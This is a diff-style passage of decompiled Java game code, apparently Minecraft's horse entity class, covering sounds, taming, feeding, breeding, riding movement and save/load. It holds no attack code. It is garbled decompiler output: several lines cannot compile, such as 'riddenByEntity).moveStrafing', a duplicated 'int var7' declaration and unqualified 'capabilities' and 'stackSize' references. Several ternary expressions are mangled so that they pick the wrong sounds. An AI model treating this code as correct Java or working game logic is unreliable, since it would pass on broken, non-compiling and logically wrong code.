+  public boolean getCanSpawnHere()
+  {
+    prepareChunkForSpawn();
+    return super.getCanSpawnHere();
+  }
+  
+  protected EntityHorse getClosestHorse(Entity p_110250_1_, double p_110250_2_)
+  {
+    double var4 = Double.MAX_VALUE;
+    Entity var6 = null;
+    List var7 = worldObj.func_175674_a(p_110250_1_, p_110250_1_.getEntityBoundingBox().addCoord(p_110250_2_, p_110250_2_, p_110250_2_), horseBreedingSelector);
+    Iterator var8 = var7.iterator();
+    
+    while (var8.hasNext())
+    {
+      Entity var9 = (Entity)var8.next();
+      double var10 = var9.getDistanceSq(posX, posY, posZ);
+      
+      if (var10 < var4)
+      {
+        var6 = var9;
+        var4 = var10;
+      }
+    }
+    
+    return (EntityHorse)var6;
+  }
+  
+  public double getHorseJumpStrength()
+  {
+    return getEntityAttribute(horseJumpStrength).getAttributeValue();
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    openHorseMouth();
+    int var1 = getHorseType();
+    return (var1 != 1) && (var1 != 2) ? "mob.horse.death" : var1 == 4 ? "mob.horse.skeleton.death" : var1 == 3 ? "mob.horse.zombie.death" : "mob.horse.donkey.death";
+  }
+  
+  protected Item getDropItem()
+  {
+    boolean var1 = rand.nextInt(4) == 0;
+    int var2 = getHorseType();
+    return var2 == 3 ? Items.rotten_flesh : var1 ? null : var2 == 4 ? Items.bone : Items.leather;
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    openHorseMouth();
+    
+    if (rand.nextInt(3) == 0)
+    {
+      makeHorseRear();
+    }
+    
+    int var1 = getHorseType();
+    return (var1 != 1) && (var1 != 2) ? "mob.horse.hit" : var1 == 4 ? "mob.horse.skeleton.hit" : var1 == 3 ? "mob.horse.zombie.hit" : "mob.horse.donkey.hit";
+  }
+  
+  public boolean isHorseSaddled()
+  {
+    return getHorseWatchableBoolean(4);
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    openHorseMouth();
+    
+    if ((rand.nextInt(10) == 0) && (!isMovementBlocked()))
+    {
+      makeHorseRear();
+    }
+    
+    int var1 = getHorseType();
+    return (var1 != 1) && (var1 != 2) ? "mob.horse.idle" : var1 == 4 ? "mob.horse.skeleton.idle" : var1 == 3 ? "mob.horse.zombie.idle" : "mob.horse.donkey.idle";
+  }
+  
+  protected String getAngrySoundName()
+  {
+    openHorseMouth();
+    makeHorseRear();
+    int var1 = getHorseType();
+    return (var1 != 3) && (var1 != 4) ? "mob.horse.donkey.angry" : (var1 != 1) && (var1 != 2) ? "mob.horse.angry" : null;
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    Block.SoundType var3 = stepSound;
+    
+    if (worldObj.getBlockState(p_180429_1_.offsetUp()).getBlock() == Blocks.snow_layer)
+    {
+      var3 = snow_layerstepSound;
+    }
+    
+    if (!p_180429_2_.getMaterial().isLiquid())
+    {
+      int var4 = getHorseType();
+      
+      if ((riddenByEntity != null) && (var4 != 1) && (var4 != 2))
+      {
+        gallopTime += 1;
+        
+        if ((gallopTime > 5) && (gallopTime % 3 == 0))
+        {
+          playSound("mob.horse.gallop", var3.getVolume() * 0.15F, var3.getFrequency());
+          
+          if ((var4 == 0) && (rand.nextInt(10) == 0))
+          {
+            playSound("mob.horse.breathe", var3.getVolume() * 0.6F, var3.getFrequency());
+          }
+        }
+        else if (gallopTime <= 5)
+        {
+          playSound("mob.horse.wood", var3.getVolume() * 0.15F, var3.getFrequency());
+        }
+      }
+      else if (var3 == Block.soundTypeWood)
+      {
+        playSound("mob.horse.wood", var3.getVolume() * 0.15F, var3.getFrequency());
+      }
+      else
+      {
+        playSound("mob.horse.soft", var3.getVolume() * 0.15F, var3.getFrequency());
+      }
+    }
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getAttributeMap().registerAttribute(horseJumpStrength);
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(53.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.22499999403953552D);
+  }
+  
+
+
+
+  public int getMaxSpawnedInChunk()
+  {
+    return 6;
+  }
+  
+  public int getMaxTemper()
+  {
+    return 100;
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.8F;
+  }
+  
+
+
+
+  public int getTalkInterval()
+  {
+    return 400;
+  }
+  
+  public boolean func_110239_cn()
+  {
+    return (getHorseType() == 0) || (func_110241_cb() > 0);
+  }
+  
+  private void func_110230_cF()
+  {
+    field_110286_bQ = null;
+  }
+  
+  public boolean func_175507_cI()
+  {
+    return field_175508_bO;
+  }
+  
+  private void setHorseTexturePaths()
+  {
+    field_110286_bQ = "horse/";
+    field_110280_bR[0] = null;
+    field_110280_bR[1] = null;
+    field_110280_bR[2] = null;
+    int var1 = getHorseType();
+    int var2 = getHorseVariant();
+    
+
+    if (var1 == 0)
+    {
+      int var3 = var2 & 0xFF;
+      int var4 = (var2 & 0xFF00) >> 8;
+      
+      if (var3 >= horseTextures.length)
+      {
+        field_175508_bO = false;
+        return;
+      }
+      
+      field_110280_bR[0] = horseTextures[var3];
+      field_110286_bQ += field_110269_bA[var3];
+      
+      if (var4 >= horseMarkingTextures.length)
+      {
+        field_175508_bO = false;
+        return;
+      }
+      
+      field_110280_bR[1] = horseMarkingTextures[var4];
+      field_110286_bQ += field_110292_bC[var4];
+    }
+    else
+    {
+      field_110280_bR[0] = "";
+      field_110286_bQ = (field_110286_bQ + "_" + var1 + "_");
+    }
+    
+    int var3 = func_110241_cb();
+    
+    if (var3 >= horseArmorTextures.length)
+    {
+      field_175508_bO = false;
+    }
+    else
+    {
+      field_110280_bR[2] = horseArmorTextures[var3];
+      field_110286_bQ += field_110273_bx[var3];
+      field_175508_bO = true;
+    }
+  }
+  
+  public String getHorseTexture()
+  {
+    if (field_110286_bQ == null)
+    {
+      setHorseTexturePaths();
+    }
+    
+    return field_110286_bQ;
+  }
+  
+  public String[] getVariantTexturePaths()
+  {
+    if (field_110286_bQ == null)
+    {
+      setHorseTexturePaths();
+    }
+    
+    return field_110280_bR;
+  }
+  
+  public void openGUI(EntityPlayer p_110199_1_)
+  {
+    if ((!worldObj.isRemote) && ((riddenByEntity == null) || (riddenByEntity == p_110199_1_)) && (isTame()))
+    {
+      horseChest.func_110133_a(getName());
+      p_110199_1_.displayGUIHorse(this, horseChest);
+    }
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.spawn_egg))
+    {
+      return super.interact(p_70085_1_);
+    }
+    if ((!isTame()) && (isUndead()))
+    {
+      return false;
+    }
+    if ((isTame()) && (isAdultHorse()) && (p_70085_1_.isSneaking()))
+    {
+      openGUI(p_70085_1_);
+      return true;
+    }
+    if ((func_110253_bW()) && (riddenByEntity != null))
+    {
+      return super.interact(p_70085_1_);
+    }
+    
+
+    if (var2 != null)
+    {
+      boolean var3 = false;
+      
+      if (canWearArmor())
+      {
+        byte var4 = -1;
+        
+        if (var2.getItem() == Items.iron_horse_armor)
+        {
+          var4 = 1;
+        }
+        else if (var2.getItem() == Items.golden_horse_armor)
+        {
+          var4 = 2;
+        }
+        else if (var2.getItem() == Items.diamond_horse_armor)
+        {
+          var4 = 3;
+        }
+        
+        if (var4 >= 0)
+        {
+          if (!isTame())
+          {
+            makeHorseRearWithSound();
+            return true;
+          }
+          
+          openGUI(p_70085_1_);
+          return true;
+        }
+      }
+      
+      if ((!var3) && (!isUndead()))
+      {
+        float var7 = 0.0F;
+        short var5 = 0;
+        byte var6 = 0;
+        
+        if (var2.getItem() == Items.wheat)
+        {
+          var7 = 2.0F;
+          var5 = 20;
+          var6 = 3;
+        }
+        else if (var2.getItem() == Items.sugar)
+        {
+          var7 = 1.0F;
+          var5 = 30;
+          var6 = 3;
+        }
+        else if (Block.getBlockFromItem(var2.getItem()) == Blocks.hay_block)
+        {
+          var7 = 20.0F;
+          var5 = 180;
+        }
+        else if (var2.getItem() == Items.apple)
+        {
+          var7 = 3.0F;
+          var5 = 60;
+          var6 = 3;
+        }
+        else if (var2.getItem() == Items.golden_carrot)
+        {
+          var7 = 4.0F;
+          var5 = 60;
+          var6 = 5;
+          
+          if ((isTame()) && (getGrowingAge() == 0))
+          {
+            var3 = true;
+            setInLove(p_70085_1_);
+          }
+        }
+        else if (var2.getItem() == Items.golden_apple)
+        {
+          var7 = 10.0F;
+          var5 = 240;
+          var6 = 10;
+          
+          if ((isTame()) && (getGrowingAge() == 0))
+          {
+            var3 = true;
+            setInLove(p_70085_1_);
+          }
+        }
+        
+        if ((getHealth() < getMaxHealth()) && (var7 > 0.0F))
+        {
+          heal(var7);
+          var3 = true;
+        }
+        
+        if ((!isAdultHorse()) && (var5 > 0))
+        {
+          addGrowth(var5);
+          var3 = true;
+        }
+        
+        if ((var6 > 0) && ((var3) || (!isTame())) && (var6 < getMaxTemper()))
+        {
+          var3 = true;
+          increaseTemper(var6);
+        }
+        
+        if (var3)
+        {
+          func_110266_cB();
+        }
+      }
+      
+      if ((!isTame()) && (!var3))
+      {
+        if ((var2 != null) && (var2.interactWithEntity(p_70085_1_, this)))
+        {
+          return true;
+        }
+        
+        makeHorseRearWithSound();
+        return true;
+      }
+      
+      if ((!var3) && (canCarryChest()) && (!isChested()) && (var2.getItem() == Item.getItemFromBlock(Blocks.chest)))
+      {
+        setChested(true);
+        playSound("mob.chickenplop", 1.0F, (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+        var3 = true;
+        func_110226_cD();
+      }
+      
+      if ((!var3) && (func_110253_bW()) && (!isHorseSaddled()) && (var2.getItem() == Items.saddle))
+      {
+        openGUI(p_70085_1_);
+        return true;
+      }
+      
+      if (var3)
+      {
+        if (!capabilities.isCreativeMode) { if (--stackSize == 0)
+          {
+            inventory.setInventorySlotContents(inventory.currentItem, null);
+          }
+        }
+        return true;
+      }
+    }
+    
+    if ((func_110253_bW()) && (riddenByEntity == null))
+    {
+      if ((var2 != null) && (var2.interactWithEntity(p_70085_1_, this)))
+      {
+        return true;
+      }
+      
+
+      func_110237_h(p_70085_1_);
+      return true;
+    }
+    
+
+
+    return super.interact(p_70085_1_);
+  }
+  
+
+
+  private void func_110237_h(EntityPlayer p_110237_1_)
+  {
+    rotationYaw = rotationYaw;
+    rotationPitch = rotationPitch;
+    setEatingHaystack(false);
+    setRearing(false);
+    
+    if (!worldObj.isRemote)
+    {
+      p_110237_1_.mountEntity(this);
+    }
+  }
+  
+
+
+
+  public boolean canWearArmor()
+  {
+    return getHorseType() == 0;
+  }
+  
+
+
+
+  public boolean canCarryChest()
+  {
+    int var1 = getHorseType();
+    return (var1 == 2) || (var1 == 1);
+  }
+  
+
+
+
+  protected boolean isMovementBlocked()
+  {
+    return (riddenByEntity != null) && (isHorseSaddled());
+  }
+  
+
+
+
+  public boolean isUndead()
+  {
+    int var1 = getHorseType();
+    return (var1 == 3) || (var1 == 4);
+  }
+  
+
+
+
+  public boolean isSterile()
+  {
+    return (isUndead()) || (getHorseType() == 2);
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return false;
+  }
+  
+  private void func_110210_cH()
+  {
+    field_110278_bp = 1;
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    super.onDeath(cause);
+    
+    if (!worldObj.isRemote)
+    {
+      dropChestItems();
+    }
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (rand.nextInt(200) == 0)
+    {
+      func_110210_cH();
+    }
+    
+    super.onLivingUpdate();
+    
+    if (!worldObj.isRemote)
+    {
+      if ((rand.nextInt(900) == 0) && (deathTime == 0))
+      {
+        heal(1.0F);
+      }
+      
+      if ((!isEatingHaystack()) && (riddenByEntity == null) && (rand.nextInt(300) == 0) && (worldObj.getBlockState(new BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(posY) - 1, MathHelper.floor_double(posZ))).getBlock() == Blocks.grass))
+      {
+        setEatingHaystack(true);
+      }
+      
+      if ((isEatingHaystack()) && (++eatingHaystackCounter > 50))
+      {
+        eatingHaystackCounter = 0;
+        setEatingHaystack(false);
+      }
+      
+      if ((func_110205_ce()) && (!isAdultHorse()) && (!isEatingHaystack()))
+      {
+        EntityHorse var1 = getClosestHorse(this, 16.0D);
+        
+        if ((var1 != null) && (getDistanceSqToEntity(var1) > 4.0D))
+        {
+          navigator.getPathToEntityLiving(var1);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if ((worldObj.isRemote) && (dataWatcher.hasObjectChanged()))
+    {
+      dataWatcher.func_111144_e();
+      func_110230_cF();
+    }
+    
+    if ((openMouthCounter > 0) && (++openMouthCounter > 30))
+    {
+      openMouthCounter = 0;
+      setHorseWatchableBoolean(128, false);
+    }
+    
+    if ((!worldObj.isRemote) && (jumpRearingCounter > 0) && (++jumpRearingCounter > 20))
+    {
+      jumpRearingCounter = 0;
+      setRearing(false);
+    }
+    
+    if ((field_110278_bp > 0) && (++field_110278_bp > 8))
+    {
+      field_110278_bp = 0;
+    }
+    
+    if (field_110279_bq > 0)
+    {
+      field_110279_bq += 1;
+      
+      if (field_110279_bq > 300)
+      {
+        field_110279_bq = 0;
+      }
+    }
+    
+    prevHeadLean = headLean;
+    
+    if (isEatingHaystack())
+    {
+      headLean += (1.0F - headLean) * 0.4F + 0.05F;
+      
+      if (headLean > 1.0F)
+      {
+        headLean = 1.0F;
+      }
+    }
+    else
+    {
+      headLean += (0.0F - headLean) * 0.4F - 0.05F;
+      
+      if (headLean < 0.0F)
+      {
+        headLean = 0.0F;
+      }
+    }
+    
+    prevRearingAmount = rearingAmount;
+    
+    if (isRearing())
+    {
+      prevHeadLean = (this.headLean = 0.0F);
+      rearingAmount += (1.0F - rearingAmount) * 0.4F + 0.05F;
+      
+      if (rearingAmount > 1.0F)
+      {
+        rearingAmount = 1.0F;
+      }
+    }
+    else
+    {
+      field_110294_bI = false;
+      rearingAmount += (0.8F * rearingAmount * rearingAmount * rearingAmount - rearingAmount) * 0.6F - 0.05F;
+      
+      if (rearingAmount < 0.0F)
+      {
+        rearingAmount = 0.0F;
+      }
+    }
+    
+    prevMouthOpenness = mouthOpenness;
+    
+    if (getHorseWatchableBoolean(128))
+    {
+      mouthOpenness += (1.0F - mouthOpenness) * 0.7F + 0.05F;
+      
+      if (mouthOpenness > 1.0F)
+      {
+        mouthOpenness = 1.0F;
+      }
+    }
+    else
+    {
+      mouthOpenness += (0.0F - mouthOpenness) * 0.7F - 0.05F;
+      
+      if (mouthOpenness < 0.0F)
+      {
+        mouthOpenness = 0.0F;
+      }
+    }
+  }
+  
+  private void openHorseMouth()
+  {
+    if (!worldObj.isRemote)
+    {
+      openMouthCounter = 1;
+      setHorseWatchableBoolean(128, true);
+    }
+  }
+  
+
+
+
+  private boolean canMate()
+  {
+    return (riddenByEntity == null) && (ridingEntity == null) && (isTame()) && (isAdultHorse()) && (!isSterile()) && (getHealth() >= getMaxHealth()) && (isInLove());
+  }
+  
+  public void setEating(boolean eating)
+  {
+    setHorseWatchableBoolean(32, eating);
+  }
+  
+  public void setEatingHaystack(boolean p_110227_1_)
+  {
+    setEating(p_110227_1_);
+  }
+  
+  public void setRearing(boolean p_110219_1_)
+  {
+    if (p_110219_1_)
+    {
+      setEatingHaystack(false);
+    }
+    
+    setHorseWatchableBoolean(64, p_110219_1_);
+  }
+  
+  private void makeHorseRear()
+  {
+    if (!worldObj.isRemote)
+    {
+      jumpRearingCounter = 1;
+      setRearing(true);
+    }
+  }
+  
+  public void makeHorseRearWithSound()
+  {
+    makeHorseRear();
+    String var1 = getAngrySoundName();
+    
+    if (var1 != null)
+    {
+      playSound(var1, getSoundVolume(), getSoundPitch());
+    }
+  }
+  
+  public void dropChestItems()
+  {
+    dropItemsInChest(this, horseChest);
+    dropChests();
+  }
+  
+  private void dropItemsInChest(Entity p_110240_1_, AnimalChest p_110240_2_)
+  {
+    if ((p_110240_2_ != null) && (!worldObj.isRemote))
+    {
+      for (int var3 = 0; var3 < p_110240_2_.getSizeInventory(); var3++)
+      {
+        ItemStack var4 = p_110240_2_.getStackInSlot(var3);
+        
+        if (var4 != null)
+        {
+          entityDropItem(var4, 0.0F);
+        }
+      }
+    }
+  }
+  
+  public boolean setTamedBy(EntityPlayer p_110263_1_)
+  {
+    func_152120_b(p_110263_1_.getUniqueID().toString());
+    setHorseTamed(true);
+    return true;
+  }
+  
+
+
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    if ((riddenByEntity != null) && ((riddenByEntity instanceof EntityLivingBase)) && (isHorseSaddled()))
+    {
+      prevRotationYaw = (this.rotationYaw = riddenByEntity.rotationYaw);
+      rotationPitch = (riddenByEntity.rotationPitch * 0.5F);
+      setRotation(rotationYaw, rotationPitch);
+      rotationYawHead = (this.renderYawOffset = rotationYaw);
+      p_70612_1_ = riddenByEntity).moveStrafing * 0.5F;
+      p_70612_2_ = riddenByEntity).moveForward;
+      
+      if (p_70612_2_ <= 0.0F)
+      {
+        p_70612_2_ *= 0.25F;
+        gallopTime = 0;
+      }
+      
+      if ((onGround) && (jumpPower == 0.0F) && (isRearing()) && (!field_110294_bI))
+      {
+        p_70612_1_ = 0.0F;
+        p_70612_2_ = 0.0F;
+      }
+      
+      if ((jumpPower > 0.0F) && (!isHorseJumping()) && (onGround))
+      {
+        motionY = (getHorseJumpStrength() * jumpPower);
+        
+        if (isPotionActive(Potion.jump))
+        {
+          motionY += (getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1F;
+        }
+        
+        setHorseJumping(true);
+        isAirBorne = true;
+        
+        if (p_70612_2_ > 0.0F)
+        {
+          float var3 = MathHelper.sin(rotationYaw * 3.1415927F / 180.0F);
+          float var4 = MathHelper.cos(rotationYaw * 3.1415927F / 180.0F);
+          motionX += -0.4F * var3 * jumpPower;
+          motionZ += 0.4F * var4 * jumpPower;
+          playSound("mob.horse.jump", 0.4F, 1.0F);
+        }
+        
+        jumpPower = 0.0F;
+      }
+      
+      stepHeight = 1.0F;
+      jumpMovementFactor = (getAIMoveSpeed() * 0.1F);
+      
+      if (!worldObj.isRemote)
+      {
+        setAIMoveSpeed((float)getEntityAttribute(SharedMonsterAttributes.movementSpeed).getAttributeValue());
+        super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+      }
+      
+      if (onGround)
+      {
+        jumpPower = 0.0F;
+        setHorseJumping(false);
+      }
+      
+      prevLimbSwingAmount = limbSwingAmount;
+      double var8 = posX - prevPosX;
+      double var5 = posZ - prevPosZ;
+      float var7 = MathHelper.sqrt_double(var8 * var8 + var5 * var5) * 4.0F;
+      
+      if (var7 > 1.0F)
+      {
+        var7 = 1.0F;
+      }
+      
+      limbSwingAmount += (var7 - limbSwingAmount) * 0.4F;
+      limbSwing += limbSwingAmount;
+    }
+    else
+    {
+      stepHeight = 0.5F;
+      jumpMovementFactor = 0.02F;
+      super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("EatingHaystack", isEatingHaystack());
+    tagCompound.setBoolean("ChestedHorse", isChested());
+    tagCompound.setBoolean("HasReproduced", getHasReproduced());
+    tagCompound.setBoolean("Bred", func_110205_ce());
+    tagCompound.setInteger("Type", getHorseType());
+    tagCompound.setInteger("Variant", getHorseVariant());
+    tagCompound.setInteger("Temper", getTemper());
+    tagCompound.setBoolean("Tame", isTame());
+    tagCompound.setString("OwnerUUID", func_152119_ch());
+    
+    if (isChested())
+    {
+      NBTTagList var2 = new NBTTagList();
+      
+      for (int var3 = 2; var3 < horseChest.getSizeInventory(); var3++)
+      {
+        ItemStack var4 = horseChest.getStackInSlot(var3);
+        
+        if (var4 != null)
+        {
+          NBTTagCompound var5 = new NBTTagCompound();
+          var5.setByte("Slot", (byte)var3);
+          var4.writeToNBT(var5);
+          var2.appendTag(var5);
+        }
+      }
+      
+      tagCompound.setTag("Items", var2);
+    }
+    
+    if (horseChest.getStackInSlot(1) != null)
+    {
+      tagCompound.setTag("ArmorItem", horseChest.getStackInSlot(1).writeToNBT(new NBTTagCompound()));
+    }
+    
+    if (horseChest.getStackInSlot(0) != null)
+    {
+      tagCompound.setTag("SaddleItem", horseChest.getStackInSlot(0).writeToNBT(new NBTTagCompound()));
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setEatingHaystack(tagCompund.getBoolean("EatingHaystack"));
+    func_110242_l(tagCompund.getBoolean("Bred"));
+    setChested(tagCompund.getBoolean("ChestedHorse"));
+    setHasReproduced(tagCompund.getBoolean("HasReproduced"));
+    setHorseType(tagCompund.getInteger("Type"));
+    setHorseVariant(tagCompund.getInteger("Variant"));
+    setTemper(tagCompund.getInteger("Temper"));
+    setHorseTamed(tagCompund.getBoolean("Tame"));
+    String var2 = "";
+    
+    if (tagCompund.hasKey("OwnerUUID", 8))
+    {
+      var2 = tagCompund.getString("OwnerUUID");
+    }
+    else
+    {
+      String var3 = tagCompund.getString("Owner");
+      var2 = net.minecraft.server.management.PreYggdrasilConverter.func_152719_a(var3);
+    }
+    
+    if (var2.length() > 0)
+    {
+      func_152120_b(var2);
+    }
+    
+    IAttributeInstance var8 = getAttributeMap().getAttributeInstanceByName("Speed");
+    
+    if (var8 != null)
+    {
+      getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(var8.getBaseValue() * 0.25D);
+    }
+    
+    if (isChested())
+    {
+      NBTTagList var4 = tagCompund.getTagList("Items", 10);
+      func_110226_cD();
+      
+      for (int var5 = 0; var5 < var4.tagCount(); var5++)
+      {
+        NBTTagCompound var6 = var4.getCompoundTagAt(var5);
+        int var7 = var6.getByte("Slot") & 0xFF;
+        
+        if ((var7 >= 2) && (var7 < horseChest.getSizeInventory()))
+        {
+          horseChest.setInventorySlotContents(var7, ItemStack.loadItemStackFromNBT(var6));
+        }
+      }
+    }
+    
+
+
+    if (tagCompund.hasKey("ArmorItem", 10))
+    {
+      ItemStack var9 = ItemStack.loadItemStackFromNBT(tagCompund.getCompoundTag("ArmorItem"));
+      
+      if ((var9 != null) && (func_146085_a(var9.getItem())))
+      {
+        horseChest.setInventorySlotContents(1, var9);
+      }
+    }
+    
+    if (tagCompund.hasKey("SaddleItem", 10))
+    {
+      ItemStack var9 = ItemStack.loadItemStackFromNBT(tagCompund.getCompoundTag("SaddleItem"));
+      
+      if ((var9 != null) && (var9.getItem() == Items.saddle))
+      {
+        horseChest.setInventorySlotContents(0, var9);
+      }
+    }
+    else if (tagCompund.getBoolean("Saddle"))
+    {
+      horseChest.setInventorySlotContents(0, new ItemStack(Items.saddle));
+    }
+    
+    func_110232_cE();
+  }
+  
+
+
+
+  public boolean canMateWith(EntityAnimal p_70878_1_)
+  {
+    if (p_70878_1_ == this)
+    {
+      return false;
+    }
+    if (p_70878_1_.getClass() != getClass())
+    {
+      return false;
+    }
+    
+
+    EntityHorse var2 = (EntityHorse)p_70878_1_;
+    
+    if ((canMate()) && (var2.canMate()))
+    {
+      int var3 = getHorseType();
+      int var4 = var2.getHorseType();
+      return (var3 == var4) || ((var3 == 0) && (var4 == 1)) || ((var3 == 1) && (var4 == 0));
+    }
+    
+
+    return false;
+  }
+  
+
+
+  public EntityAgeable createChild(EntityAgeable p_90011_1_)
+  {
+    EntityHorse var2 = (EntityHorse)p_90011_1_;
+    EntityHorse var3 = new EntityHorse(worldObj);
+    int var4 = getHorseType();
+    int var5 = var2.getHorseType();
+    int var6 = 0;
+    
+    if (var4 == var5)
+    {
+      var6 = var4;
+    }
+    else if (((var4 == 0) && (var5 == 1)) || ((var4 == 1) && (var5 == 0)))
+    {
+      var6 = 2;
+    }
+    
+    if (var6 == 0)
+    {
+      int var8 = rand.nextInt(9);
+      int var7;
+      int var7;
+      if (var8 < 4)
+      {
+        var7 = getHorseVariant() & 0xFF;
+      } else { int var7;
+        if (var8 < 8)
+        {
+          var7 = var2.getHorseVariant() & 0xFF;
+        }
+        else
+        {
+          var7 = rand.nextInt(7);
+        }
+      }
+      int var9 = rand.nextInt(5);
+      
+      if (var9 < 2)
+      {
+        var7 |= getHorseVariant() & 0xFF00;
+      }
+      else if (var9 < 4)
+      {
+        var7 |= var2.getHorseVariant() & 0xFF00;
+      }
+      else
+      {
+        var7 |= rand.nextInt(5) << 8 & 0xFF00;
+      }
+      
+      var3.setHorseVariant(var7);
+    }
+    
+    var3.setHorseType(var6);
+    double var13 = getEntityAttribute(SharedMonsterAttributes.maxHealth).getBaseValue() + p_90011_1_.getEntityAttribute(SharedMonsterAttributes.maxHealth).getBaseValue() + func_110267_cL();
+    var3.getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(var13 / 3.0D);
+    double var14 = getEntityAttribute(horseJumpStrength).getBaseValue() + p_90011_1_.getEntityAttribute(horseJumpStrength).getBaseValue() + func_110245_cM();
+    var3.getEntityAttribute(horseJumpStrength).setBaseValue(var14 / 3.0D);
+    double var11 = getEntityAttribute(SharedMonsterAttributes.movementSpeed).getBaseValue() + p_90011_1_.getEntityAttribute(SharedMonsterAttributes.movementSpeed).getBaseValue() + func_110203_cN();
+    var3.getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(var11 / 3.0D);
+    return var3;
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    Object p_180482_2_1 = super.func_180482_a(p_180482_1_, p_180482_2_);
+    boolean var3 = false;
+    int var4 = 0;
+    
+    int var8;
+    if ((p_180482_2_1 instanceof GroupData))
+    {
+      int var8 = field_111107_a;
+      var4 = field_111106_b & 0xFF | rand.nextInt(5) << 8;
+    }
+    else {
+      int var8;
+      if (rand.nextInt(10) == 0)
+      {
+        var8 = 1;
+      }
+      else
+      {
+        int var5 = rand.nextInt(7);
+        int var6 = rand.nextInt(5);
+        var8 = 0;
+        var4 = var5 | var6 << 8;
+      }
+      
+      p_180482_2_1 = new GroupData(var8, var4);
+    }
+    
+    setHorseType(var8);
+    setHorseVariant(var4);
+    
+    if (rand.nextInt(5) == 0)
+    {
+      setGrowingAge(41536);
+    }
+    
+    if ((var8 != 4) && (var8 != 3))
+    {
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(func_110267_cL());
+      
+      if (var8 == 0)
+      {
+        getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(func_110203_cN());
+      }
+      else
+      {
+        getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.17499999701976776D);
+      }
+    }
+    else
+    {
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(15.0D);
+      getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.20000000298023224D);
+    }
+    
+    if ((var8 != 2) && (var8 != 1))
+    {
+      getEntityAttribute(horseJumpStrength).setBaseValue(func_110245_cM());
+    }
+    else
+    {
+      getEntityAttribute(horseJumpStrength).setBaseValue(0.5D);
+    }
+    
+    setHealth(getMaxHealth());
+    return (IEntityLivingData)p_180482_2_1;
+  }
+  
+  public float getGrassEatingAmount(float p_110258_1_)
+  {
+    return prevHeadLean + (headLean - prevHeadLean) * p_110258_1_;
+  }
+  
+  public float getRearingAmount(float p_110223_1_)
+  {
+    return prevRearingAmount + (rearingAmount - prevRearingAmount) * p_110223_1_;
+  }
+  
+  public float func_110201_q(float p_110201_1_)
+  {
+    return prevMouthOpenness + (mouthOpenness - prevMouthOpenness) * p_110201_1_;
+  }
+  
+  public void setJumpPower(int p_110206_1_)
+  {
+    if (isHorseSaddled())
+    {
+      if (p_110206_1_ < 0)
+      {
+        p_110206_1_ = 0;
+      }
+      else
+      {
+        field_110294_bI = true;
+        makeHorseRear();
+      }
+      
+      if (p_110206_1_ >= 90)
+      {
+        jumpPower = 1.0F;
+      }
+      else
+      {
+        jumpPower = (0.4F + 0.4F * p_110206_1_ / 90.0F);
+      }
+    }
+  }
+  
+
+
+
+  protected void spawnHorseParticles(boolean p_110216_1_)
+  {
+    EnumParticleTypes var2 = p_110216_1_ ? EnumParticleTypes.HEART : EnumParticleTypes.SMOKE_NORMAL;
+    
+    for (int var3 = 0; var3 < 7; var3++)
+    {
+      double var4 = rand.nextGaussian() * 0.02D;
+      double var6 = rand.nextGaussian() * 0.02D;
+      double var8 = rand.nextGaussian() * 0.02D;
+      worldObj.spawnParticle(var2, posX + rand.nextFloat() * width * 2.0F - width, posY + 0.5D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, var4, var6, var8, new int[0]);
+    }
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 7)
+    {
+      spawnHorseParticles(true);
+    }
+    else if (p_70103_1_ == 6)
+    {
+      spawnHorseParticles(false);
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public void updateRiderPosition()
+  {
+    super.updateRiderPosition();
+    
+    if (prevRearingAmount > 0.0F)
+    {
+      float var1 = MathHelper.sin(renderYawOffset * 3.1415927F / 180.0F);
+      float var2 = MathHelper.cos(renderYawOffset * 3.1415927F / 180.0F);
+      float var3 = 0.7F * prevRearingAmount;
+      float var4 = 0.15F * prevRearingAmount;
+      riddenByEntity.setPosition(posX + var3 * var1, posY + getMountedYOffset() + riddenByEntity.getYOffset() + var4, posZ - var3 * var2);
+      
+      if ((riddenByEntity instanceof EntityLivingBase))
+      {
